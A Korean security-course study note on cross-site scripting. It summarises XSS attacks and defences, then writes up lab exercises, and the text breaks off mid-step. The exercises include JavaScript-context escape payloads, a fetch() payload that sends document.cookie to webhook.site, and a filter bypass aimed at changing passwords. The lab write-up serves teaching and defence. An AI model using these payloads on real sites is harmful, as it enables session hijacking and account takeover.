📄 2026.02.03 (Day 69) - XSS 공격과 대응 전략
1. 핵심 개념 정리
XSS 기본 개념 및 실제 피해 유형
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 1 | XSS 정의 | 사용자 입력값이 응답에 그대로 노출되면서 JavaScript로 실행되는 취약점 | OWASP Top 10 포함 항목; 웹 애플리케이션에서 가장 빈번한 취약점 유형 중 하나 |
| 2 | 쿠키 탈취 | 공격자가 피해자의 document.cookie를 읽어 세션ID를 가져감 | 세션 하이재킹의 시작점; HttpOnly 플래그 설정으로 JS 접근 차단 가능 |
| 3 | 피싱 사이트 유도 | XSS를 통해 사용자를 가짜 로그인 페이지로 이동시킴 | 사회공학적 공격과 기술적 공격의 결합; URL 정밀 검증이 필수 |
| 4 | 키로거 | XSS를 통해 사용자의 실시간 키 입력을 JS로 캡처하여 수집 | 클라이언트측 방어가 어려운 공격 유형; 입력 폼의 이벤트 핸들러 감시 필요 |
| 5 | 코인 채굴 (Cryptojacking) | JS 기반 브라우저 채굴기를 XSS로 삽입하여 피해자의 CPU 리소스를 활용 | 비정상적인 CPU 사용량 급증 탐지로 발견 가능; 백그라운드 실행 특성상 피해자 자체 감지 어려움 |
XSS 대응 방법
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 6 | HTML 인코딩 (근본적 대응) | 모든 특수문자를 HTML entity로 변환 (< → <, > → >, " → ", ’ → ') | 가장 안전한 대응 방법; 모든 입출력 지점에서 빠짐없이 적용해야 함 |
| 7 | 저장 시 치환 | DB에 저장하기 직전에 특수문자를 치환하여 저장 | 원본 데이터가 손실되어 웹 이외의 환경(API, CSV 등)에서 데이터가 깨질 수 있음 |
| 8 | 응답 시 치환 | 응답을 보내기 직전에 특수문자를 치환 | 원본 데이터가 DB에 유지되어 재활용 가능; 단, 모든 응답 경로에서 치환 적용이 필수 |
| 9 | Whitelist 필터링 | 허용할 태그와 속성만 지정하고 나머지를 전부 차단 | 허용 목록이 명확한 경우 가장 강력한 필터링 방식; 오픈소스 라이브러리 활용 권장 |
| 10 | Blacklist 필터링 | 차단할 태그와 키워드를 지정하고 나머지는 허용 | 대소문자 변환·중복 삽입 등 우회 기법이 다양하여 단독 사용 시 안전하지 않음 |
XSS 유형 및 고급 공격 기법
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 11 | Reflected XSS (반사형) | 파라미터에 공격구문을 넣은 링크를 클릭하면 즉시 응답에 반사되어 실행 | 링크 배포(카톡, 이메일 등)를 통한 공격; 피해자의 직접 클릭이 필요 |
| 12 | Stored XSS (저장형) | 공격구문이 DB에 저장되어 해당 페이지를 조회하는 모든 사용자에게 실행 | 한 번의 삽입으로 다수의 피해자를 감염시킬 수 있는 고위험 공격 유형 |
| 13 | JavaScript 컨텍스트 주입 | 기존 JS 코드 내의 문자열 값에 공격구문을 주입하여 제어 흐름을 변경 | 파라미터 반영 위치(HTML 본문 vs JS 문자열 내부)를 정확히 파악해야 공격 구문 설계 가능 |
| 14 | AJAX를 이용한 백그라운드 탈출 | fetch() 또는 XMLHttpRequest를 사용하여 백그라운드로 쿠키를 외부 서버로 전송 | 표준 JS 요청이므로 피해자 자체 감지 불가; CSP와 네트워크 레벨 필터링이 유일한 차단 수단 |
| 15 | Stored XSS + 권한 변경 결합 | 저장형 XSS를 활용하여 관리자 등의 특정 계정의 비밀번호를 무단 변경 | 세션 컨텍스트 내에서 실행되는 API 호출이므로 CSRF 토큰 검증 없이는 차단 불가 |
2. 실습 내용 정리
실습 67-1: XSS 문제 2번 - JavaScript 컨텍스트 탈출
목표: JS 함수 내 문자열 값에 주입하여 기존 함수의 실행 흐름을 단절하고 임의의 코드를 실행
실습 환경:
- 대상: lab.eqst.co.kr (JavaScript 내 파라미터 반영 환경)
- 도구: Burp Suite (Interceptor, Repeater)
- 기법: 문자열 종료 후 함수 종료 → 공격구문 실행 → 더미 함수로 나머지 감싸기
실습 단계:
-
원래 코드 구조 파악
- function fnEdit(_board_id) 내부에서 document.location.href에 [입력값] 직접 반영
-
단순 문자열 주입 테스트 (eqstxss) → 정상 문자열로 반영됨 확인
-
문자열 종료 및 코드 실행 주입
- 주입값: eqstxss’; alert(‘xss’); var test=’
- 작은따옴표(’)로 문자열 종료 → 세미콜론(;)으로 구문 분리 → alert 실행
-
함수 종료를 포함하는 주입 (최종 성공)
- 주입값: 19’;} alert(‘xss’); function qwer() { var qwer=’
- 작은따옴표(’) → 문자열 종료, 중괄호(}) → 함수 종료, alert 실행, 더미 함수로 나머지 감싸기
-
최종 실행 결과
- fnEdit 함수가 강제 종료되고 alert가 실행됨
- 뒤이어 오는 코드는 더미 함수 qwer 내부로 감싸져 문법 오류 없이 파싱됨
확인 항목:
- 파라미터 값이 JS 문자열 내부에서 반영되는지 파악
- 작은따옴표(’)로 문자열을 종료할 수 있는지 확인
- 세미콜론(;)과 중괄호(})로 기존 함수를 종료할 수 있는지 확인
- 주입된 공격구문이 실제로 실행되고, 나머지 JS 문법이 유효하게 유지되는지 검증
보안 인사이트:
- HTML 본문과 JS 문자열 내부는 이스케이프 규칙이 완전히 다름; JS 컨텍스트는 별도의 JS 이스케이프 처리가 필수
- 파라미터 반영 위치 파악이 공격구문 설계의 출발점
- 주입 후 남은 코드의 문법 유효성을 반드시 검증해야 실행 성공
실습 67-2: XSS 문제 6번 - 쿠키 탈취 (fetch + Webhook)
목표: JavaScript 컨텍스트 주입을 활용하여 피해자의 세션 쿠키를 외부 서버(webhook.site)로 탈취
실습 환경:
- 대상: lab.eqst.co.kr:8083 (exam17/noticeview.php)
- 외부 수신 서버: webhook.site
- 도구: Burp Suite, Native JS fetch API, jQuery $.ajax
실습 단계:
-
기존 JS 구조 파악 및 컨텍스트 탈출 방식 재확인 (문제 2번과 동일한 구조)
-
location.href 방식 테스트
- location.href = “https://webhook.site/[ID]/?cookie=" + document.cookie
- 피해자 페이지 이동이 수반됨 → 발각 위험 높음
-
fetch를 이용한 백그라운드 탈출 (피해자 페이지 변화 없음 → 핵심 기법)
- 페이로드: 19’;} fetch(“https://webhook.site/[ID]/?cookie=" + document.cookie); function test() { var test='
-
URL 인코딩 후 요청 전송
- board_id 파라미터에 URL 인코딩된 페이로드 삽입
-
webhook.site 대시보드에서 수신된 쿠키값 확인
- 수신 결과: 35bdfac8ace3ff45e9c1a2333356651e
쿠키 탈취 동작 방식:
- 피해자가 공격구문이 포함된 URL 클릭
- JS 컨텍스트 탈출 후 fetch() 가 백그라운드로 실행됨
- document.cookie 의 세션ID 값이 webhook URL의 쿼리 파라미터로 전송됨
- 공격자가 webhook.site 대시보드에서 탈취된 세션ID를 실시간 확인
발견 가능한 취약점:
- 세션ID 탈취 → 세션 하이재킹 → 피해자 계정 무단 접근
- HttpOnly 가 미설정된 경우 JS로 접근 가능한 모든 쿠키 탈취 가능
- 동일 도메인의 다른 서비스 쿠키도 document.cookie에 포함될 경우 연쇄 공격 가능
탐지 패턴:
- 비정상적인 외부 도메인으로의 HTTP 요청 탐지 (쿼리 파라미터에 세션/쿠키 값 포함)
- webhook.site 등 임시 외부 수신 서비스로의 트래픽 모니터링
- JS 컨텍스트 내 fetch/XMLHttpRequest 호출 패턴 분석
방어 방법:
- HttpOnly 플래그 설정 (JS로 쿠키 접근 차단)
- CSP 헤더로 외부 요청 도메인 제한 (connect-src 정책)
- 모든 입출력값에 HTML 인코딩 및 JS 이스케이프 적용
실습 67-3: XSS 문제 9번 - Blacklist 필터링 우회 및 비밀번호 변경 공격
목표: < 문자만 제거하는 필터를 우회하여 스크립트 실행을 실현하고, 이를 활용하여 타 계정의 비밀번호를 무단 변경하는 공격 시나리오 구성
실습 환경:
- 대상: lab.eqst.co.kr (게시판 기능 + 비밀번호 변경 API)
- 필터 규칙: content.replaceAll("<”, “”) — 꺾쇠 왼쪽 괄호만 제거
- 비밀번호 변경 API: GET /manage/changePw?newPassword=[값] (세션 기반 인증)
실습 단계:
-
필터 규칙 분석
- content.replaceAll("<”, “”) → ‘<‘만 제거되고 ‘>‘는 그대로 남음
-
필터 우회 테스트
- 입력: <>alert(‘xss’); → 결과: >alert(‘xss’); (’< ‘만 제거됨 확인)
- 입력: